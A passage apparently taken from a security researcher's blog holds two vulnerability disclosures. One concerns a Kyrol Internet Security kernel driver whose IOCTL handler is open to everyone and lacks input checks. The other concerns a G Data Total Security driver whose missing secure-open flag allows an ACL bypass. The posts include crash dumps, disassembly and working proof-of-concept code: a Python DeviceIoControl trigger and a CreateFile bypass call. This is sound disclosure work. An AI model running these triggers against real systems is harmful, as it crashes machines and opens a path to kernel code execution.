<p>Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This round, I’m going for a full disclosure as the timeline of the disclosure has been exceeded since early January 2019. Total numbers of vulnerability found in the product consists 12 different issues covers various types of attack surface. In this writeup, I will go with the most trivial vulnerability to spot which is the IOCTL handling and ACL Privileges of the driver.</p>
<h2 id="technical-analysis">Technical Analysis</h2>
<p>A vulnerability in kyrdl.sys driver has been discovered in Kyrol Internet Security (2015).
The vulnerability exists due to insufficient input buffer validation when the driver processes IOCTL codes 0x9C402401 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write access to privileged use only functionality. Attackers can exploit this issue to execute arbitrary code in kernel space or cause Denial of Service (DoS).</p>
<p>We can use WinObj by Sysinternals to verify the object device are indeed accessible by user-mode. In the “GLOBAL??”, we can scroll until we see “10774948FAA234777974ED537F346B29F” which is work as SymbolicLink to device “1036EC9A3100C4296A350F32080965C40”. As we analyzed before, it creates a symbolic link to “10774948FAA234777974ED537F346B29F”. Verifying the security access, we can see the permission for “1036EC9A3100C4296A350F32080965C40” is open to Everyone with capability to Read and Write, which means any user can send / trigger IOCTL directly to the kernel driver. We will see the DACL object in debugger later. Continue sending to IOCTL via user-mode to the kernel to trigger BSOD. The first issue as shown below. Successful sending the IOCTL resulting this on our debugger (WinDBG):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Error from BSOD
*** Fatal System Error: 0x0000003b
(0x00000000C0000005,0xFFFFF880018A51F6,0xFFFFF88005D91DB0,0x0000000000000000)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
... cut here ...
FAULTING_IP:
kyrdl+31f6
fffff880`018a51f6 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
Registers
CONTEXT: fffff88005d91db0 -- (.cxr 0xfffff88005d91db0)
rax=fffffa80042857c0 rbx=0000000000000002 rcx=0000000000000800
rdx=0000000000000000 rsi=fffffa806155bfcc rdi=0000000000000000
rip=fffff880018a51f6 rsp=fffff88005d92780 rbp=0000000000000001
r8=0000000000000000 r9=0000000000000001 r10=0000000000000001
r11=fffff88005d925b0 r12=fffffa80048a3aa0 r13=0000000000000000
r14=fffffa80048b2788 r15=0000000000000001
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
kyrdl+0x31f6:
fffff880`018a51f6 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
Vulnerable Part
kd> u kyrdl+0x31f6
kyrdl+0x31f6:
fffff880`018a51f6 f3a4 rep movs byte ptr [rdi],byte ptr [rsi] ; memcpy function
fffff880`018a51f8 488b542438 mov rdx,qword ptr [rsp+38h]
fffff880`018a51fd 4881c200080000 add rdx,800h
fffff880`018a5204 488d0d95310000 lea rcx,[kyrdl+0x63a0 (fffff880`018a83a0)]
fffff880`018a520b e840deffff call kyrdl+0x1050 (fffff880`018a3050)
fffff880`018a5210 eb95 jmp kyrdl+0x31a7 (fffff880`018a51a7)
fffff880`018a5212 e8f9000000 call kyrdl+0x3310 (fffff880`018a5310)
fffff880`018a5217 4883c448 add rsp,48h
Proving we can write something on kernel space. This allow attacker write a shellcode to perform code execution.
kd> dd fffffa80042857c0
fffffa80`042857c0 41414141 41414141 41414141 41414141
fffffa80`042857d0 41414141 41414141 41414141 41414141
fffffa80`042857e0 41414141 41414141 41414141 41414141
fffffa80`042857f0 41414141 41414141 41414141 41414141
fffffa80`04285800 41414141 41414141 41414141 41414141
fffffa80`04285810 41414141 41414141 41414141 41414141
fffffa80`04285820 41414141 41414141 41414141 41414141
fffffa80`04285830 41414141 41414141 41414141 41414141
</code></pre></div></div>
<p>Second issue, the Security Descriptor showing the access open to “Everyone”:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd> !sd fffff8a000087930 0x1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x5c
->Dacl : ->AceCount : 0x4
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001201bf
->Dacl : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
</code></pre></div></div>
<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>
<p>DriverEntry starts at 0x19478 and ends at 0x19491. It first perform some bug checking at “sub_1941C”. This section contains descriptions of the common bug checks, including the parameters passed to the blue screen. It also describes how you can diagnose the fault which led to the bug check, and possible ways to deal with the error. If it pass, it will continue the execution until address 0x19491 which is a ump instruction to function “sub_19010”.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:0000000000019478 sub rsp, 28h
INIT:000000000001947C mov r8, rdx
INIT:000000000001947F mov r9, rcx
INIT:0000000000019482 call sub_1941C ; call to perform bug checking, etc.
INIT:0000000000019487 mov rdx, r8 ; continue executing here after pass bug checking
INIT:000000000001948A mov rcx, r9
INIT:000000000001948D add rsp, 28h
INIT:0000000000019491 jmp sub_19010 ; jump to sub_19010
INIT:0000000000019491 DriverEntry endp
</code></pre></div></div>
<p>We continue analyzing at the “sub_19010”. The address for the function start from 0x19010 and ends at 0x19470. Starting at the address 0x19023 until 0x19044, the driver perform an initializes of a resource variable. According to MSDN, “You can use the ERESOURCE structures to implement read/writer locking in your driver. The system provides a set of routines to manipulate the ERESOURCE structures, which are documented in this section.”</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:0000000000019023 lea rcx, Resource ; Resource
INIT:000000000001902A call cs:ExInitializeResourceLite
INIT:0000000000019030 lea rcx, stru_162D0 ; Resource
INIT:0000000000019037 call cs:ExInitializeResourceLite
INIT:000000000001903D lea rcx, stru_16338 ; Resource
INIT:0000000000019044 call cs:ExInitializeResourceLite
</code></pre></div></div>
<p>At the address 0x1904A until 0x1908E, it call IoCreateDevice and creates a device object for use by a driver. It is initialized through the RtlInitUnicodeString API. “Device” string is a device name in the object manager. After successfully creating the object, it proceeds to DRIVER_OBJECT processing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:000000000001904A lea rdx, SourceString ; "\\Device\\1036EC9A3100C4296A350F3208096"...
INIT:0000000000019051 lea rcx, DeviceName ; DestinationString
INIT:0000000000019058 call cs:RtlInitUnicodeString
INIT:000000000001905E lea rdx, DeviceObject
INIT:0000000000019065 mov [rsp+30h], rdx ; DeviceObject
INIT:000000000001906A mov byte ptr [rsp+28h], 0 ; Exclusive
INIT:000000000001906F mov dword ptr [rsp+20h], 100h ; DeviceCharacteristics
INIT:0000000000019077 mov r9d, 22h ; DeviceType
INIT:000000000001907D lea r8, DeviceName ; DeviceName
INIT:0000000000019084 xor edx, edx ; DeviceExtensionSize
INIT:0000000000019086 mov rcx, [rsp+0D0h] ; DriverObject
INIT:000000000001908E call cs:IoCreateDevice
</code></pre></div></div>
<p>Analysis of our IRP dispatch routine with its major functions (below). At this point we know that the handler can perform device control of IRP (0x70), close (0x80) and query security information value (0xE).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:00000000000190CF mov rcx, [rsp+0D0h]
INIT:00000000000190D7 lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190DE mov [rcx+70h], rax ; 0x70 = IRP_MJ_DEVICE_CONTROL
INIT:00000000000190E2 mov rcx, [rsp+0D0h]
INIT:00000000000190EA lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190F1 mov [rcx+80h], rax ; 0x80 = IRP_MJ_CLOSE
INIT:00000000000190F8 mov rcx, [rsp+0D0h]
INIT:0000000000019100 lea rax, sub_186E0 ; "sub_186E0" act as IRP handler
INIT:0000000000019107 mov [rcx+0E0h], rax ; 0xE = IRP_MJ_QUERY_SECURITY
</code></pre></div></div>
<p>Then it proceed creating another device at address 0x1910E and use the value from address 0x191AC.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:000000000001910E lea rax, aDosdevices ; "\\DosDevices\\"
INIT:0000000000019115 mov [rsp+0C8h+anonymous_1], rax
INIT:000000000001911D lea rax, word_16130 ; space for the device string created
INIT:0000000000019124 mov [rsp+0C8h+anonymous_2], rax
INIT:000000000001912C mov rax, [rsp+0C8h+anonymous_2]
INIT:0000000000019134 mov [rsp+0C8h+anonymous_3], rax
... cut here ...
INIT:00000000000191AC lea rsi, a10774948faa234 ; "10774948FAA234777974ED537F346B29F"
INIT:00000000000191B3 mov ecx, 44h
INIT:00000000000191B8 rep movsb
</code></pre></div></div>
<p>Successfully creating, it then call the device string created to initialized and create a symbolic link to the device object.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:00000000000191BA lea rdx, word_16130 ; SourceString
INIT:00000000000191C1 lea rcx, SymbolicLinkName ; DestinationString
INIT:00000000000191C8 call cs:RtlInitUnicodeString
INIT:00000000000191CE lea rdx, DeviceName ; DeviceName
INIT:00000000000191D5 lea rcx, SymbolicLinkName ; SymbolicLinkName
INIT:00000000000191DC call cs:IoCreateSymbolicLink
</code></pre></div></div>
<p>Most of the IRP parametres are in the IO_STACK_LOCATION. A driver accesses its IO_STACK_LOCATION using IoGetCurrentIrpStackLocation routine. This part can be treat as input parameter. Current stack location as in following code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PAGE:0000000000018747 mov [rsp+38h], rax
PAGE:000000000001874C mov rax, [rsp+38h]
PAGE:0000000000018751 mov eax, [rax+10h]
PAGE:0000000000018754 mov [rsp+30h], eax
PAGE:0000000000018758 mov rax, [rsp+38h]
PAGE:000000000001875D mov eax, [rax+8]
PAGE:0000000000018760 mov [rsp+50h], eax
PAGE:0000000000018764 mov rax, [rsp+38h]
PAGE:0000000000018769 mov eax, [rax+18h] ; get the value IOCTL send and store it in EAX
PAGE:000000000001876C mov [rsp+54h], eax ; store IOCTL value in [rsp+54h]
PAGE:0000000000018770 cmp dword ptr [rsp+54h], 9C402401h ; IOCTL value - 0x9C402401 and compare value
PAGE:0000000000018778 jz short loc_18786 ; assume that we can send the IOCTL 0x9C402401 and pass, it will jump to "loc_18786".
</code></pre></div></div>
<p>Triggering the IOCTL 0x9C402401 required another parameter in order for it to successfully trigger.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PAGE:0000000000018786 cmp dword ptr [rsp+30h], 0 ; failure to give any input will
PAGE:000000000001878B jz short loc_187B2 ; terminate here
PAGE:000000000001878D mov rax, [rsp+78h] ; input store in RAX
PAGE:0000000000018792 mov rax, [rax+18h]
PAGE:0000000000018796 mov [rsp+20h], rax ; move the input to [rsp+20h]
PAGE:000000000001879B mov rcx, [rsp+20h] ; final store at RCX
PAGE:00000000000187A0 call sub_13150 ; accept input from here, and reference to another place "sub_13150"
</code></pre></div></div>
<p>We examine the part “sub_13150” to see what gets executed here. At the address 0x13150, we can see the final value that hold in RCX is based on our input (arg_0). Highlighted below are the root cause of the vulnerability.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000000013150 mov [rsp+arg_0], rcx ; hold the input
.text:0000000000013155 push rsi
.text:0000000000013156 push rdi
.text:0000000000013157 sub rsp, 48h
.text:000000000001315B mov rax, [rsp+58h+arg_0] ; store the input at RAX
.text:0000000000013160 mov [rsp+58h+var_38], rax ; save pointer to var_38
.text:0000000000013165 mov rax, [rsp+58h+var_38]
.text:000000000001316A mov ecx, [rax]
.text:000000000001316C lea rax, dword_163B8
.text:0000000000013173 xchg ecx, [rax]
.text:0000000000013175 mov rax, [rsp+58h+var_38]
.text:000000000001317A mov ecx, [rax+4]
.text:000000000001317D lea rax, dword_163BC
.text:0000000000013184 xchg ecx, [rax]
.text:0000000000013186 mov edx, 1
.text:000000000001318B lea rcx, qword_163A0
.text:0000000000013192 call sub_11120 ; assume that our call pass here
.text:0000000000013197 call sub_132F0 ; assume that our call pass here
.text:000000000001319C mov [rsp+58h+var_30], 0
.text:00000000000131A5 jmp short loc_131B5 ; and we pass this too
... cut here ...
.text:00000000000131B5 mov rax, [rsp+58h+var_38] ; pointer to our input
.text:00000000000131BA mov eax, [rax+8]
.text:00000000000131BD cmp [rsp+58h+var_30], rax
.text:00000000000131C2 jnb short loc_13212
.text:00000000000131C4 mov edx, 808h ; NumberOfBytes assigned which is 0x808
.text:00000000000131C9 xor ecx, ecx ; PoolType
.text:00000000000131CB call cs:ExAllocatePool ; allocates pool memory of the specified type and returns a pointer to the allocated block
.text:00000000000131D1 mov [rsp+58h+var_20], rax
.text:00000000000131D6 mov rcx, [rsp+58h+var_30]
.text:00000000000131DB imul rcx, 800h
.text:00000000000131E2 mov rax, [rsp+58h+var_38] ; the input will be store at rax
.text:00000000000131E7 mov rdi, [rsp+58h+var_20]
.text:00000000000131EC lea rsi, [rax+rcx+0Ch] ; load the value of our input
.text:00000000000131F1 mov ecx, 800h ; size of the assigned value is 0x800
.text:00000000000131F6 rep movsb ; memcpy function
.text:00000000000131F8 mov rdx, [rsp+58h+var_20]; if input is greater than 0x800, we can overflow and overwrite something
.text:00000000000131FD add rdx, 800h
.text:0000000000013204 lea rcx, qword_163A0
.text:000000000001320B call sub_11050
.text:0000000000013210 jmp short loc_131A7
</code></pre></div></div>
<h2 id="proof-of-concept">Proof-of-Concept</h2>
<p>Few lines of Python should sufficient enough to trigger the vulnerability. The bug itself is a read primitive so I will leave the rest to you to figure out.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
hDevice = kernel32.CreateFileA("\\\\.\\10774948FAA234777974ED537F346B29F", 0xC0000000, 0, None, 0x3, 0, None)
buffer = "A"*2048
buffer_length = len(buffer)
kernel32.DeviceIoControl(hDevice, 0x9C402401, buffer, buffer_length, None, 0, byref(c_ulong()), None)
</code></pre></div></div>
<p><strong>Disclosure timeline</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2019-01-02 - Reported to Kyrol Labs (via email)
2019-01-04 - Vendor ack but they seems to be confuse what is happening.
2019-04-18 - Ask for update, they said give another 2 weeks.
2019-04-18 - NACSA steps in (Thanks Abu!). Video conferencing with the NACSA (twice!).
2019-07-03 - Second meeting with NACSA and vendor. Vendor told us they will come up with new product by October 2019.
2019-09-01 - Third meeting with NACSA and vendor (before we presenting at POC in Korea). Kyrol couldn't release the new product at that time. Considering it as 0-day!
2019-11-07 - We present our findings in POC conference in Korea.
2019-11-16 - Full disclosure. Will look forward to request CVE's for this :)
</code></pre></div></div>
<p>Happy Hacking!</p>Description Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This round, I’m going for a full disclosure as the timeline of the disclosure has been exceeded since early January 2019. Total numbers of vulnerability found in the product consists 12 different issues covers various types of attack surface. In this writeup, I will go with the most trivial vulnerability to spot which is the IOCTL handling and ACL Privileges of the driver.G Data Total Security - ACLs Bypass Vulnerability2019-03-12T21:39:03+00:002019-03-12T21:39:03+00:00https://zeifan.my/gdata-total-security-acl-bypass<h2 id="overview">Overview</h2>
<p>A weak ACLs implementation in G Data Total Security prone to vulnerable with ACLs bypass. Further investigation found the driver lack of security checks where the FILE_DEVICE_SECURE_OPEN flag is not set. The security issue has been reported to vendor (G Data) and acknowledge.</p>
<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>
<p>G Data Total Security prone to vulnerable with ACLs bypass. The vulnerability found in the driver named gdwfpcd.sys. It is quite trivial to spot the issue by using DeviceTree tool. We extract the driver using the tool and spot the interpreted device characteristics empty, which is missing FILE_DEVICE_SECURE_OPEN. This means the driver didn’t protect well that could allow to impersonate or create object to bypass the ACL. Screenshot below shows the driver prone to lack of ACL protection:
<img src="https://raw.githubusercontent.com/nafiez/nafiez.github.io/master/static/img/_posts/g1.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>According to Microsoft (as part of Windows security model), it is required to perform a security checks in the driver and set FILE_DEVICE_SECURE_OPEN. If developer did not set FILE_DEVICE_SECURE_OPEN, the driver are responsible for ensuring the security of its namespace. In this case, the flag is not set with ACL and this only applied only to the device, not any ‘file’ inside it. Any open as non-admin of \Device\gdwfpcd will fail, but if there’s any open for \Device\gdwfpcd\bypass, it will succeed. Because the FILE_DEVICE_SECURE_OPEN flag is not set, the IO Manager assumes this is a file system driver, and as such, will implement its own ACLs on files and directories inside the device. A proof-of-concept can be crafted by creating a simple</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CreateFile("\\\\.\\gdwfpcd\\ACLBypass", 0, 0, 0, 0, 0, 0)
</code></pre></div></div>
<p>Example of the successful ACLs bypass:
<img src="https://raw.githubusercontent.com/nafiez/nafiez.github.io/master/static/img/_posts/g2.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p><strong>Disclosure timeline</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2018-12-27 - Reported to G Data (via Support web form)
2019-01-08 - Vendor (Support team) ack and asked for more detail. Full writeup and proof-of-concept provided.
2019-01-14 - Vendor (Ralf Hilker from Security team) ack the issue and will roll out patch to customer.
2019-01-17 - Ralf provide an update to roll out patch on 11th Feb 2019. However, there's a delay for the patch release. Ralf informed that there's no change log of the fix. So it won't be visible in their website.
2019-02-15 - Follow up with Ralf. Asking for disclosure. Ralf requested to hold disclosure until 22nd Feb (wait until all customers gets an update). Agree with their decision. Fix version: https://secure.gd/dl-de-ts
2019-03-12 - Follow up with Ralf again for disclosure. They agree with it.
2019-03-13 - CVE assigned, CVE-2019-9742
</code></pre></div></div>Overview A weak ACLs implementation in G Data Total Security prone to vulnerable with ACLs bypass. Further investigation found the driver lack of security checks where the FILE_DEVICE_SECURE_OPEN flag is not set. The security issue has been reported to vendor (G Data) and acknowledge.